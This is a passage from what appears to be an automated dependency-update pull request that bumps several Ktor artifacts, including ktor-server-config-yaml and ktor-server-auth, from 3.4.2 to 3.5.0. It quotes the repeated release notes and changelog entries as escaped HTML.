optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ktorio/ktor/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-config-yaml` from 3.4.2 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-config-yaml's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-config-yaml's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ktorio/ktor/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-auth` from 3.4.2 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-auth's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-auth's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca 